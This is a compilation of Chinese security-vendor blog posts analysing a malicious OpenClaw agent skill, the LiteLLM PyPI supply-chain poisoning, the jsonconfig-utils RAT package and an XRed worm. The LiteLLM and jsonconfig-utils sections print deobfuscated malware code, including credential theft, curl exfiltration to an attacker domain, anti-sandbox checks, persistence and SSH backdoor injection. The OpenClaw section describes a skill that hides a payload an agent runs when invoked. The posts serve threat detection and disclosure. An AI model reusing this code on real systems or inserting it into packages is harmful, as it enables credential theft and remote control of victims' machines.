天穹沙箱团队针对该智能体的安全风险展开深入分析，并推出了针对 OpenClaw 的运行分析环境，助力用户全面评估其安全风险，及时发现潜在威胁，保障设备与数据安全，安全“养虾”。

• 样本名： weather.zip

• SHA1： 4b55b19d040d643b6a760ca0940d2764b7632a8f

• 文件类型： ZIP (SKILL file)

• 文件大小： 2.83 KB

• 报告链接：https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=82b28536e64a7041a22fdbf1d66b2205&sk=57008976

为系统化评估 OpenClaw 智能体的安全风险，天穹沙箱团队基于 Windows 11 x86-64 系统搭建分析环境，模拟用户在本地部署与使用该智能体的实际场景。分析环境配置如下：

天穹沙箱系统 OpenClaw 分析环境选择步骤如图 1 所示：

上传样本后，使用默认环境配置，静态分析识别 SKILL 文件后系统会自动使用 OpenClaw 环境进行分析，或者手动选择 Windows 11 x86-64 系统进行分析。

针对 SKILL 样本的安全风险评估，天穹沙箱团队依托全链路行为深度建模与动态分析能力，对 SKILL 样本进行了静态检测与动态检测，从多维度对样本进行研判，有效提升了对此类高级威胁的检出能力与响应效率。

静态检测

利用天穹智能体安全分析平台的静态分析功能，对 SKILL 样本进行全面的代码审计与恶意行为扫描，尝试识别其中存在的恶意指令与潜在风险点，如图 2 所示；

上图展示了天穹智能体安全分析平台对 weather-data-fetcher 技能样本执行的深度静态审计报告。尽管该技能元数据伪装成正常的天气查询工具，但平台通过代码审计精准捕获了其核心脚本 scripts/weather.py 中的恶意行为。检测结果显示综合风险等级为 [危险]，具体揭示了攻击者利用 Base64 与 PowerShell 双重编码技术隐藏载荷，并通过 os.system 绕过正常逻辑执行内存中 Gzip 压缩的恶意代码，构成典型的远程代码执行（RCE） 威胁。该案例充分验证了平台在识别隐蔽恶意指令、解析混淆代码以及评估智能体潜在风险点方面的核心安全能力。

为确证静态扫描结果的真实性，平台将转入动态分析阶段，利用 OpenClaw 框架生成高风险交互提示词。这些提示词专门设计用于触发 weather-data-fetcher 技能中的恶意代码执行路径，如图 3 所示。通过在受控沙箱中运行这些提示词，观察技能是否会产生预期的恶意行为（如内存代码执行、异常外联等），从而量化风险等级，并为后续的防御策略提供具体的行为特征指标（IOCs）。

动态检测

该恶意 SKILL 样本一经调用，OpenClaw 会立即执行其中的恶意指令，利用 PowerShell 反射加载恶意载荷，实现远程命令执行，进而下载并执行更多恶意程序，最终导致设备被控、数据泄露等严重安全事件。天穹沙箱系统通过全链路行为深度建模与动态分析能力，成功捕获并解析了该样本从初始调用、恶意指令执行、到最终远程控制的整个攻击过程，精准识别了其反调试、环境探测、权限提升等恶意行为，并完整提取了各阶段解密后的恶意载荷，为安全人员深入分析 OpenClaw 智能体的攻击战术、技术细节与危害影响提供了全面、清晰的技术视角，显著提升了对此类高级威胁的识别能力。

进程调用关系如图 4 所示：

动态威胁检出如图 5 所示：

恶意文件（MD5）

5a44617d7df9926762b16e2a90b23e8f        weather.zip
033ffdfbd70006988a097ba033c4676b        weather.py
65284f7a942aa60a8a4e2c6ea5ceb119        SKILL.md

报告链接

分析报告：https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=82b28536e64a7041a22fdbf1d66b2205&sk=57008976

天穹智能分析平台（联系我们申请账号）：https://sandbox.qianxin.com

跳转微信打开

2026年3月24日，作为AI开发核心枢纽的 litellm 网关遭遇供应链投毒攻击，大量使用者的密钥与敏感信息被窃取，再次暴露出当前 AI 供应链体系的安全隐患。

天问供应链威胁监测模块是奇安信技术研究星图实验室研发的“天问”软件供应链安全分析平台的子模块，”天问“分析平台对Python、npm等主流的开发生态进行了长期、持续的监测，发现了大量的恶意包和攻击行为。

1. LiteLLM被投毒事件回顾

1.1 LiteLLM简介及攻击回顾

LiteLLM 作为 AI 网关，能够代理 100 多种大语言模型（LLM）的 API，被广泛应用于 AI 编程与服务编排场景。目前其在 GitHub 上拥有超过 4 万 Star，在 PyPI 的月下载量也超过 9600 万次。

2026 年 3 月 24 日，LiteLLM 在 PyPI 上遭遇供应链投毒攻击，1.82.7 与 1.82.8 两个版本被植入恶意代码。攻击代码会自动窃取受害者机器中的多类敏感凭据，包括 SSH 密钥、AWS/GCP/Azure 云服务凭据以及 Kubernetes Token 等。目前相关恶意版本已被官方移除。

1.2 恶意代码中的bug导致攻击露出马脚

此次投毒事件最早由 FutureSearch 发现并上报 PyPI，随后相关恶意版本被迅速下架，整体存活时间约为 5 小时。FutureSearch 在其博客中披露了事件细节[1]，而此次攻击的暴露，恰恰源于攻击者代码中的一个逻辑缺陷。

恶意代码被植入在 .pth 文件中。由于 Python 在启动时会自动执行 .pth 文件中的代码，攻击载荷在解释器启动阶段即被触发。该恶意代码通过启动子进程执行 payload，而子进程再次触发 .pth 执行，形成类似“分支炸弹”的效果，迅速耗尽系统资源，从而引起研究人员注意。

一次本可长期潜伏的供应链攻击，也因此被意外暴露并及时阻断。

litellm_init.pth

import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('aW1wb3J0IHN....'))"],stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

1.3 AI供应链安全的脆弱性

根据 Snyk 的分析报告[2]，此次攻击由 TeamPCP 组织发起。攻击者通过入侵 LiteLLM CI/CD 流程中使用的开源安全扫描工具 Trivy，获取了维护者的 PyPI 发布凭证，并利用该凭证发布了包含恶意载荷的 1.82.7 与 1.82.8 版本。

此次事件导致大量敏感凭据被窃取，受影响用户需要立即吊销并替换相关密钥，以避免后续风险扩散。

OpenAI的创始人之一Andrej Karpathy也对此次事件表达了担忧。他指出，现代软件项目往往依赖复杂的依赖链条，一旦其中任意环节被污染，风险将迅速传导至整个系统。攻击者通过不断窃取凭据，可以持续扩大攻击范围，实现级联放大效应。

例如，当前流行的 MCP 工具 browser-use 在 GitHub 上拥有超过 8 万 Star，其依赖链中包含 litellm。在攻击窗口期内使用该工具，可能直接导致用户被攻击。此外，browser-use 官方推荐使用 uvx 启动 MCP 服务，而 uvx 每次执行都会重新拉取依赖，这进一步放大了攻击影响。目前该项目已移除相关恶意依赖。

2. 攻击原理解析

2.1 攻击复现

litellm-1.82.8 通过 .pth 文件加载恶意载荷，使攻击代码在 Python 启动时自动执行。我们复现了相关攻击流程如下：

通过分析其 pyproject.toml，可以发现 litellm_init.pth 被显式打包，在用户安装后会被放置到 site-packages 目录中。

pyproject.toml

2.2 原理解析

通过分析 CPython 源码可以发现，Python 在启动时会自动加载 site 模块，该模块负责初始化运行环境并加载 site-packages 目录。

进一步分析 site.py 可知，其会扫描并执行 site-packages 目录下所有 .pth 文件中的 import 语句。因此，攻击者无需任何用户交互，即可在安装完成后自动触发恶意代码执行。

litellm_init.pth

import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('aW1wb3J0IHN....'))"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

3. 攻击代码解析

3.1 两种注入方式

两个恶意版本的注入方式存在差异：

• 1.82.7：

  在 litellm/proxy/proxy_server.py 中注入代码

• 1.82.8：

  通过 .pth 文件在启动阶段执行

litellm/proxy/proxy_server.py

...
import subprocess, base64, sys, tempfile, os
b64_payload = "aW1wb3J0IHN1YnBy..."
with tempfile.TemporaryDirectory() as d:
p = os.path.join(d, "p.py")
with open(p, "wb") as f:
f.write(base64.b64decode(b64_payload))
subprocess.run([sys.executable, p])
...

litellm/proxy/__init__.py

from . import *

当 proxy 模块被导入时，恶意代码即被执行。

3.2 恶意代码解析

通过对litellm_init.pth中的恶意代码进行反混淆，我们获得了如下代码。

import subprocess
import tempfile
import os
import base64
import sys
PUB_KEY_CONTENT = """-----BEGIN PUBLIC KEY-----
MIICIj...AAQ==
-----END PUBLIC KEY-----"""
B64_SCRIPT = 
"aW1wb3J0IG9zLH..."
def run():
...
try:
subprocess.run(["openssl", "rand", "-out", sk, "32"], check=True)
subprocess.run(["openssl", "enc", "-aes-256-cbc", "-in", collected, "-out", ef, "-pass", f"file:{sk}", "-pbkdf2"], check=True, stderr=subprocess.DEVNULL)
subprocess.run(["openssl", "pkeyutl", "-encrypt", "-pubin", "-inkey", pk, "-in", sk, "-out", ek, "-pkeyopt", "rsa_padding_mode:oaep"], check=True, stderr=subprocess.DEVNULL)
subprocess.run(["tar", "-czf", bn, "-C", d, "payload.enc", "session.key.enc"], check=True)
subprocess.run([
"curl", "-s", "-o", "/dev/null", "-w", "%{http_code}", "-X", "POST",
"https[:]//models.litellm.cloud/",
"-H", "Content-Type: application/octet-stream",
"-H", "X-Filename: tpcp.tar.gz",
"--data-binary", f"@{bn}"
], check=True, stderr=subprocess.DEVNULL)
except Exception:
pass

从中我们可以看到，攻击者使用RSA公钥加密会话密钥，通过AES-256-CBC加密窃取的数据，最终打包为tar.gz并通过curl外传到 https[:]//models.litellm.cloud/,其为攻击者控制的一个网址。 其具体执行的恶意代码，仍然被base64编码混淆，再次反混淆后，我们得到了最终的攻击脚本，如下所示。

import os,sys,stat,subprocess,glob
...
run('hostname; pwd; whoami; uname -a; ip addr 2>/dev/null || ifconfig 2>/dev/null; ip route 2>/dev/null')
run('printenv')
...
for h in homes+['/root']:
for f in ['/.ssh/id_rsa','/.ssh/id_ed25519','/.ssh/id_ecdsa','/.ssh/id_dsa','/.ssh/authorized_keys','/.ssh/known_hosts','/.ssh/config']:
emit(h+f)
walk([h+'/.ssh'],2,lambda fp,fn:True)
...
emit('/var/lib/postgresql/.pgpass')
emit('/etc/mysql/my.cnf')
emit('/etc/redis/redis.conf')
...

具体攻击逻辑如下：

1.系统信息收集

run('hostname; pwd; whoami; uname -a; ip addr...')
run('printenv')

1.多维度凭据窃取

• SSH密钥: ~/.ssh/id_rsa, id_ed25519, authorized_keys等

• 云服务凭据: AWS（/.aws/credentials)、GCP(/.config/gcloud)、Azure(~/.azure)

• Kubernetes: /var/run/secrets/kubernetes.io/serviceaccount/token,
  kubeconfig等

• 数据库: .pgpass, .my.cnf, Redis/Mongo配置

• Docker: ~/.docker/config.json

• 加密货币钱包: Bitcoin、Ethereum、Solana等密钥文件

3.AWS凭据深度利用

通过IMDSv2获取实例角色临时凭据，并调用Secrets Manager和SSM Parameter Store：

tkn_req=urllib.request.Request('http[:]//169.254.169.254/latest/api/token', ...)
cred_req=urllib.request.Request('http[:]//169.254.169.254/latest/meta-data/iam/s
ecurity-credentials/', ...)
sm=aws_req('POST','secretsmanager',REG,'/','Action=ListSecrets',...)

4.Kubernetes集群渗透
利用ServiceAccount Token横向移动，枚举全集群Secrets，并在每个节点部署特权Pod实现持久化：

pod_manifest={
'hostPID':True,'hostNetwork':True,
'tolerations':[{'operator':'Exists'}],
'securityContext':{'privileged':True},
'volumeMounts':[{'name':'host','mountPath':'/host'}]
}
k8s_post('/api/v1/namespaces/kube-system/pods',pod_manifest)

5.持久化机制
通过systemd用户服务安装后门，定期从C2 (checkmarx.zone) 获取指令：

PERSIST_B64='aW1wb3J0IHVybGxpYi5yZXF1ZXN0...'  # 解码后为下载执行器

创建 ~/.config/sysmon/sysmon.py 和 systemd服务

subprocess.run(['systemctl','--user','enable','--now','sysmon.service'])

3.3 攻击总结

该样本为云原生环境下的高级持续性威胁(APT)工具，具备以下特征：

• 针对多云平台(AWS/GCP/Azure/K8s)的凭据窃取

• 利用容器逃逸和特权Pod实现集群内横向移动

• 加密外传+后门持久化的完整攻击链

• 伪装成”System Telemetry Service”隐藏痕迹

4. 总结

此次针对 LiteLLM 的 PyPI 供应链投毒事件，再次暴露了当前 AI 生态在安全层面的脆弱性。尽管 AI 正在深刻改变我们的工作方式与生活模式，但其底层仍依赖于由大量基础代码构成的工具链，例如 agent、MCP 等组件。一旦其中任意环节遭到攻击，影响便可能迅速放大，给用户带来难以估量的损失。与此同时，AI 系统正逐渐具备更高权限，能够自动执行代码、下载并安装依赖，这在提升效率的同时，也显著扩大了潜在攻击面。在这样的背景下，安全责任的边界变得愈发模糊：是依赖平台治理、开发者自律，还是需要引入以 AI 对抗 AI 的自动化防御机制，这些都值得深入思考。此外，密钥窃取问题尤为值得警惕。一旦攻击者获取有效凭证，便可持续扩大攻击范围，形成连锁风险。因此，密钥管理与访问控制同样应成为 AI 供应链安全的重要防线。

AI 正如一列高速飞驰的列车，推动社会不断向前发展。但若忽视其底层结构的安全隐患，哪怕是一个看似不起眼的“轴承”出现问题，也可能带来系统性的风险。如何在加速创新的同时筑牢安全底座，将是未来 AI 发展过程中必须正视的关键课题。

恶意包列表

参考文献

[1] Supply Chain Attack in litellm 1.82.8 on PyPI. https://futuresearch.ai/blog/litellm-pypi-supply-chain-attack/

[2] How a Poisoned Security Scanner Became the Key to Backdooring LiteLLM. http://snyk.io/articles/poisoned-security-scanner-backdooring-litellm/

跳转微信打开

天问Python供应链威胁监测模块发现 PyPI 中存在恶意包 jsonconfig-utils，该包以 JSON 配置工具为掩护，在 setup.py 中内嵌了完整攻击链。攻击者在安装阶段即可完成反沙箱检测、解密并落地 RAT（远程访问木马）载荷、以及跨平台持久化驻留，最终与 C2 服务器建立加密通信，实现对受害主机的远程控制。

“天问”软件供应链安全分析平台是奇安信技术研究星图实验室研发的针对 Python、npm 等主流开发生态进行长期持续监测的安全分析平台。

1. 包基本信息

该包声称是”轻量级JSON配置加载器”，其主模块 jsonconfig_utils.py 中确实实现了 load_config、ConfigDict、validate_schema 等功能性代码，以增强迷惑性。所有恶意逻辑均集中于 setup.py 中，在 pip install 执行 setup.py 时自动触发。

2. 恶意行为概览

setup.py
├── _check()      — 反沙箱/反分析环境检测，计算置信分
└── _install()    — 主攻击函数（置信分 ≥ 6 时触发）
├── 解码混淆载荷（Base64 + XOR，密钥 0x5A）
├── Windows  — 落地 .pyw、计划任务、注册表 Run 键
├── macOS    — 落地 .py、LaunchAgent、.zshrc 注入、crontab
└── Linux    — 落地 .py、systemd 服务、crontab、SSH 公钥注入（root）

解码后的载荷是一个完整的 RAT Agent，连接 C2 服务器 77[.]246.103.245:443（SSL 加密），上报系统信息并等待远程指令。

3. 反沙箱检测（_check 函数）

攻击者在 _install 执行前通过 _check() 对当前环境进行全面评估，计算一个”置信分”（_s），仅当分数 ≥ 6 时才执行后续攻击。这一机制有效规避了自动化沙箱、CI/CD 扫描器和容器环境的分析。

3.1 容器与 CI 检测

# ── Container detection ──
if _sys == "Linux":
for _p in ["/.dockerenv", "/run/.containerenv"]:
if os.path.exists(_p): _s -= 5
try:
with open("/proc/1/cgroup") as _f:
_cg = _f.read()
if any(_k in _cg for _k in ["docker", "lxc", "kubepods"]): _s -= 5
except: pass
_hn = platform.node().lower()
for _b in ["sandbox", "scan", "test", "build", "runner", "ci-", "worker", "job-", "temp"]:
if _b in _hn: _s -= 3
if os.environ.get("CI") or os.environ.get("GITHUB_ACTIONS") or os.environ.get("JENKINS_URL"):
_s -= 5

每检测到容器特征或 CI 环境变量，置信分减 3～5 分，直接将沙箱环境的分数压至触发阈值以下。

3.2 硬件与系统活跃度检测

# ── Hardware ──
if os.cpu_count() and os.cpu_count() > 2: _s += 2
# 系统运行时长检测（Linux/macOS/Windows 三路分支）
if _up > 3600: _s += 1
if _up < 300: _s -= 3
# ── User activity ──
# 浏览器目录存在性检测（Chrome/Firefox/Safari/Edge）
if any(os.path.isdir(_b) for _b in _bps): _s += 2
# Shell 历史记录大小检测
if os.path.exists(_hf) and os.path.getsize(_hf) > 2000:
_s += 2; break
elif os.path.exists(_hf) and os.path.getsize(_hf) > 500:
_s += 1; break
# Desktop/Downloads 文件数量检测
if _cnt > 10: _s += 2
elif _cnt > 3: _s += 1
# .gitconfig 和 SSH known_hosts 检测
if os.path.exists(os.path.join(_home, ".gitconfig")): _s += 1

3.3 云元数据服务检测

# ── Cloud metadata ──
try:
import urllib.request
urllib.request.urlopen("http[:]//169.254.169.254/latest/meta-data/", timeout=1)
_s -= 3
except: pass

尝试访问 AWS 实例元数据服务地址（169[.]254.169.254），若可达则判断当前环境为云主机/虚拟机，置信分减 3。

4. 混淆载荷解密

_install 函数中内嵌了一段经 Base64 编码 + XOR 加密（密钥 0x5A）的载荷字符串 _E，通过如下方式解密：

_E = "UDM3KjUoLnopNTk..." # 省略，实际长度约 5KB
_K = 0x5A
_d = bytes([b ^ _K for b in base64.b64decode(_E)])
_code = _d.decode()

5. RAT 载荷分析

解密后的载荷实现了一个完整的远控代理（RAT Agent），核心功能如下：

5.1 C2 通信

H="77.246.103.245"
P=443
HB=15 # 心跳间隔（秒）
RB=5 # 初始重连等待（秒）
RM=120 # 最大重连等待（秒）
def sm(s,m):
# 发送消息：4字节大端长度头 + JSON 数据体
d=json.dumps(m).encode()
s.sendall(struct.pack('>I',len(d))+d)
def rm(s,t=45):
# 接收消息：读取4字节长度头，再读取消息体（最大 10MB）
...
return json.loads(d)

代理连接固定 C2 地址 77.246.103.245:443，使用 SSL/TLS 加密通信，通过自定义的长度前缀 JSON 协议收发指令，心跳间隔 15 秒，断线后指数退避重连（最长 120 秒）。

5.2 主机信息收集与上报

def gi():
i={"hostname":"?","username":"?","os_type":"?","os_info":"","pid":os.getpid()}
try:i["hostname"]=platform.node()
except:pass
try:i["username"]=os.environ.get("USER",os.environ.get("USERNAME","?"))
except:pass
...

上线后首先上报主机名、用户名、操作系统类型及版本、当前进程 PID 等基础信息。

5.3 进程隐藏

# Windows：隐藏控制台窗口
if platform.system()=="Windows":
import ctypes
w=ctypes.windll.kernel32.GetConsoleWindow()
if w:ctypes.windll.user32.ShowWindow(w,0)
ctypes.windll.kernel32.FreeConsole()
# Linux/macOS：双 fork 守护进程化
else:
if os.fork()>0:sys.exit(0)
os.setsid()
if os.fork()>0:sys.exit(0)

在 Windows 上通过 Win32 API 隐藏控制台窗口并释放控制台；在 Unix 系统上通过经典的”双重 fork”技术使进程成为孤儿守护进程，脱离终端。

6. 多平台持久化

6.1 Windows

# 落地路径：%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE\msedge_update.pyw
_dir = os.path.join(os.environ.get("LOCALAPPDATA","C:\\Users\\Public"),
"Microsoft","Windows","INetCache","IE")
_fp = os.path.join(_dir, "msedge_update.pyw")
with open(_fp, "w") as f:
f.write(_code)
# 设置隐藏+系统属性
subprocess.run(["attrib","+H","+S",_fp], capture_output=True)
# 时间戳伪造：对齐 cmd.exe 的时间戳
_ref = os.path.join(os.environ.get("WINDIR","C:\\Windows"),"System32","cmd.exe")
_st = os.stat(_ref)
os.utime(_fp, (_st.st_atime, _st.st_mtime))
# 计划任务（ONLOGON，最高权限）
subprocess.run(["schtasks","/Create","/TN","\\Microsoft\\Windows\\WindowsUpdate\\AU_Maint",
"/TR",_tr,"/SC","ONLOGON","/F","/RL","HIGHEST"], capture_output=True)
# 注册表 Run 键
k=winreg.OpenKey(winreg.HKEY_CURRENT_USER,
"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
0,winreg.KEY_SET_VALUE)
winreg.SetValueEx(k,"NGenTask",0,winreg.REG_SZ,_tr)

• 载荷伪装为 msedge_update.pyw（仿冒 Microsoft Edge 更新程序），存放于 INetCache 目录

• 设置隐藏+系统文件属性，普通用户不可见

• 时间戳对齐系统 cmd.exe，干扰取证分析

• 双重持久化：计划任务（用户登录时以最高权限启动）+ 注册表 Run 键

• 使用 pythonw.exe 配合 CREATE_NO_WINDOW（0x08000000）标志启动，无任何可见窗口

6.2 macOS

# 落地路径：~/Library/.Caches/.com.apple.cloudd/cloudd_helper.py
_dir = os.path.join(_home,"Library",".Caches",".com.apple.cloudd")
_fp = os.path.join(_dir,"cloudd_helper.py")
# 时间戳伪造：对齐 /usr/bin/login
_ref = "/usr/bin/login"
_st = os.stat(_ref)
os.utime(_fp, (_st.st_atime, _st.st_mtime))
os.utime(_dir, (_st.st_atime, _st.st_mtime))
# LaunchAgent 持久化
_pd = {"Label":"com.apple.icloud.cloudd",
"ProgramArguments":[_py,_fp],
"RunAtLoad":True,
"KeepAlive":{"SuccessfulExit":False},
"StandardOutPath":"/dev/null",
"StandardErrorPath":"/dev/null"}
with open(_plist,"wb") as f:
plistlib.dump(_pd, f)
subprocess.Popen(["launchctl","load","-w",_plist], ...)
# .zshrc 注入（伪装为 conda 初始化块）
_block = "\n# >>> conda initialize >>>\n"
_block += "# !! Contents within this block are managed by 'conda init' !!\n"
_block += f"( {_py} {_fp} &>/dev/null & ) 2>/dev/null\n"
_block += "# <<< conda initialize <<<\n"
# crontab 兜底
_ct=_ct.rstrip()+"\n@reboot "+_py+" "+_fp+" &>/dev/null &\n"

• 载荷伪装为 cloudd_helper.py，目录名 .com.apple.cloudd 仿冒苹果 iCloud 守护进程

• 时间戳同步至系统 /usr/bin/login，目录时间戳也一并伪造

• 三重持久化：LaunchAgent（系统级）+ .zshrc/.zprofile 注入 + crontab @reboot

• .zshrc

   注入内容伪装为 Conda 初始化代码块，极难被普通用户察觉

6.3 Linux

# 落地路径（依权限）
if _is_root:
_dir = "/usr/lib/systemd/.systemd-journal-gcd"   # root
else:
_dir = os.path.join(_home,".local","share",".systemd-cache")  # 普通用户
# 时间戳伪造：对齐 /bin/ls
_ref = "/bin/ls"
_st = os.stat(_ref)
os.utime(_fp, (_st.st_atime, _st.st_mtime))
os.utime(_dir, (_st.st_atime, _st.st_mtime))
# SSH 公钥注入（仅 root）
_pk = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQAB...（省略）... ops"
with open("/root/.ssh/authorized_keys","a") as f: f.write("\n"+_pk+"\n")
# systemd 服务
_svc = f"[Unit]\nDescription=Journal Storage GC\n...\n[Service]\nExecStart={_py}{_fp}\nRestart=always\nRestartSec=30\n..."
subprocess.run(["systemctl","enable",_sn], ...)
subprocess.run(["systemctl","start",_sn], ...)
# crontab（重启 + 每6小时检活）
_ct+="@reboot "+_py+" "+_fp+" &>/dev/null &\n"
_ct+="*/360 * * * * pgrep -f "+os.path.basename(_fp)+" || "+_py+" "+_fp+" &>/dev/null &\n"
# /etc/profile.d shell 劫持（仅 root）
_script = f"#!/bin/sh\n# System locale configuration\npgrep -f {os.path.basename(_fp)} >/dev/null 2>&1 || {_py}{_fp} &>/dev/null &\n"
with open("/etc/profile.d/locale-setup.sh", "w") as f: f.write(_script)

• 落地文件名 journald-gc.py（root）/ cache-gc.py（普通用户），模拟 systemd 内部组件

• 时间戳对齐系统 /bin/ls，目录时间戳同步

• root 专属攻击：SSH 公钥注入

   — 将攻击者 RSA 公钥（标签 ops）写入 /root/.ssh/authorized_keys，实现永久 SSH 后门，独立于 RAT 存活

• 四重持久化：systemd 服务 + crontab（重启+定时检活）+ /etc/profile.d/locale-setup.sh 全局 shell 脚本劫持（root）

• 文件 /etc/profile.d/locale-setup.sh 伪装为”系统区域设置配置”，任何用户登录 shell 时均会触发。

7. 攻击链总结

pip install jsonconfig-utils
│
▼
setup.py 执行
│
├─► _check() 环境评分
│    ├── 容器/CI/云环境 → 减分 → 分数 < 6 → 终止
│    └── 真实用户主机 → 分数 ≥ 6 → 继续
│
▼
_install() 触发
│
├─► Base64 解码 + XOR(0x5A) 解密 → RAT 源码
│
├─► Windows: 落地 msedge_update.pyw
│    ├── 计划任务 AU_Maint（ONLOGON + HIGHEST）
│    ├── 注册表 Run 键 NGenTask
│    └── 立即以 pythonw.exe 静默启动
│
├─► macOS: 落地 cloudd_helper.py
│    ├── LaunchAgent com.apple.icloud.cloudd
│    ├── .zshrc/.zprofile 注入（conda 伪装）
│    ├── crontab @reboot
│    └── 立即后台启动
│
└─► Linux: 落地 journald-gc.py / cache-gc.py
├── SSH 公钥注入（root）
├── systemd 服务（enable + start）
├── crontab（@reboot + */360min 检活）
├── /etc/profile.d/locale-setup.sh（root）
└── 立即 start_new_session 启动
│
▼
RAT Agent 运行
│
└─► SSL 连接 77.246.103.245:443
├── 上报主机信息
├── 心跳（15s）
└── 等待并执行远程指令

8. 关键 IoC（失陷指标）

9. 总结

jsonconfig-utils 是一个具有较高技术水准的供应链攻击包，攻击者在其中综合运用了多种对抗分析技术和跨平台攻击手段：

1. 伪装合法功能

   ：主模块 jsonconfig_utils.py 实现了完整的 JSON 配置工具功能，以降低安全扫描工具和人工审查的警惕性。

2. 精密反沙箱检测

   ：通过容器检测、CI 检测、硬件指纹、用户行为痕迹、云元数据等多维度综合评分，仅在确认为真实用户环境时才触发攻击，有效规避自动化检测。

3. 双重混淆载荷

   ：RAT 代码经 Base64 + XOR 双重加密存储，静态特征难以识别。

4. 跨平台攻击

   ：同一个 setup.py 针对 Windows、macOS、Linux 三个平台分别实现了定制化的落地路径、持久化机制和进程隐藏方式。

5. 多重持久化 + 时间戳伪造

   ：每个平台均部署 2 种以上持久化机制互为兜底，并对落地文件的时间戳进行伪造，增加取证难度。

6. SSH 后门（Linux root）

   ：在获得 root 权限的 Linux 环境中额外注入 SSH 公钥，即使 RAT 进程被清除，攻击者仍可通过 SSH 重新进入系统。

建议用户避免安装不可信的第三方 Python 包，天问Python供应链威胁监测模块将持续对 PyPI 进行监测。

恶意包信息

跳转微信打开

近期，天穹沙箱团队在常规样本狩猎分析工作中，发现 XRed 家族最新变种—一款基于 Delphi 编写的蠕虫病毒，该样本通过伪装成合法软件、多进程落地执行等手段，试图规避安全检测，并实现对受害主机的持久驻留。

一、概述

近期，天穹沙箱团队在常规样本狩猎分析工作中，发现 XRed 家族最新变种—一款基于 Delphi 编写的蠕虫病毒，该样本通过伪装成合法软件、多进程落地执行等手段，试图规避安全检测，并实现对受害主机的持久驻留。

二、样本信息

• 样本名: SB360.exe

• SHA1: 0dc1b2aa1b7e628c2c85dfda891683dd13af845a

• 文件类型: EXE

• 文件大小: 5.31 MB

• 家族归属: XRed家族

• 报告链接: 

  [天穹沙箱分析报告](https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=c107d81046ee7d61c9d4d8cc0ea7702e&sk=68147171)

三、样本分析

样本进程 SB360.exe 执行后释放文件 ._cache_SB360.exe，并将该文件属性修改为隐藏以降低被用户发现的概率，随后立即执行该文件。同时，样本进程通过创建名为 Synaptics Pointing Device Driver 的自启动项建立持久化机制，使 Synaptics.exe 在系统启动时自动运行，如图 2 所示。Synaptics.exe 启动后会访问域名 xred[.]mooo[.]com 和 freedns[.]afraid[.]org 进行网络通信，如图 3 所示。

._cache_SB360.exe 进程随后释放 HD_._cache_SB360.exe 和 svchost.exe 文件，并通过创建系统服务的方式运行 svchost.exe，从而间接执行 HD_._cache_SB360.exe 文件。同时，该进程还设置 ._cache_SB360.exe 自身以及 HD_ls.exe 为开机自启动程序，并访问域名 qq678833[.]f08[.]87yun[.]club。如图 4、5、6 所示。

HD_._cache_SB360.exe 释放并执行 ._cache_HD_._cache_SB360.exe 文件。._cache_HD_._cache_SB360.exe 进程进一步释放并执行 HD_._cache_HD_._cache_SB360.exe 和 GLk.exe 程序。如图 7 所示。

HD_._cache_HD_._cache_SB360.exe 进程将自身拷贝到 C:\WINDOWS\System32\Abrst.exe 并创建系统服务，访问域名 5614894156aa[.]e1[.]luyouxia[.]net。如图 8、9、10 所示。

GLk.exe 进程会创建系统服务，并利用系统 svchost.exe 加载 53727812.bat(实际为 DLL 文件)以实现持久化驻留，并访问域名 kinh[.]xmcxmr[.]com。如图 11、12 所示。

沙箱报告进程信息部分展示了样本执行过程释放和创建子进程执行的逻辑关系，如图 13 所示。

综上分析，该样本在执行后通过多级释放和执行子文件的方式构建了较为复杂的恶意执行链。SB360.exe 作为初始入口程序，通过释放并执行隐藏文件 ._cache_SB360.exe 实现后续恶意模块的加载。同时，攻击者利用伪装为系统驱动组件的自启动项 Synaptics Pointing Device Driver 建立初始持久化机制，并通过 Synaptics.exe 与外部域名建立通信。

随后，恶意程序通过持续释放新的可执行文件（如 HD_._cache_SB360.exe、._cache_HD_._cache_SB360.exe、GLk.exe 等）逐级扩展其功能，并通过创建系统服务、设置开机自启动等方式实现多重持久化。同时，样本利用 svchost.exe 加载恶意组件以提高隐蔽性，并通过多个动态域名与外部服务器保持通信，从而实现远程控制或后续载荷的下载执行。

四、IOC

恶意文件（MD5）

7f9f21ed23c68b5452945d6595ba589 SB360.exe
95eb3a84be9bd0ae9e970f95df889584 ._cache_SB360.exe
e6602803d2908eb659e19d7bb39a2a8c svchost.exe
bc83f5c2166951713d82178e0e8bb5a8 Synaptics.exe

恶意IOC

kinh[.]xmcxmr[.]com
xred[.]mooo[.]com
qq678833[.]f08[.]87yun[.]club

报告链接：[天穹沙箱分析报告](https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=c107d81046ee7d61c9d4d8cc0ea7702e&sk=68147171)

天穹智能分析平台（联系我们申请账号）：https://sandbox.qianxin.com

跳转微信打开

天问监测模块在2026年2月发现了一批针对CI/CD的恶意软件包，通过包名伪装来诱导用户下载，在依赖安装阶段隐蔽执行恶意代码，从而窃取CI运行环境中的构建元数据与敏感环境变量。

天问供应链威胁监测模块是奇安信技术研究星图实验室研发的“天问”软件供应链安全分析平台的子模块，”天问“分析平台对Python、npm等主流的开发生态进行了长期、持续的监测，发现了大量的恶意包和攻击行为。

1. 背景

随着 DevOps 和 CI/CD（Continuous Integration / Continuous Deployment）流程在软件工程中的广泛采用，自动化构建、测试和部署流水线已成为现代软件交付的核心基础设施。在这一过程中，CI/CD 系统通常需要从公共软件仓库（如 PyPI、npm、Maven Central 等）动态下载并安装大量第三方依赖包，以完成构建、测试及部署任务。

然而，这种高度自动化、强依赖第三方组件的模式，也显著扩大了软件供应链的攻击面。攻击者可以通过向公共包仓库投递恶意依赖包（Malicious Package），诱导 CI/CD 流水线在构建阶段自动执行恶意代码，从而实现：

• 敏感 CI 环境变量窃取（如 API Token、云平台密钥、SSH 私钥）

• 内网资产探测与横向移动

• 构建产物投毒，植入后门

• 持久化后门部署

2. 攻击样本概述

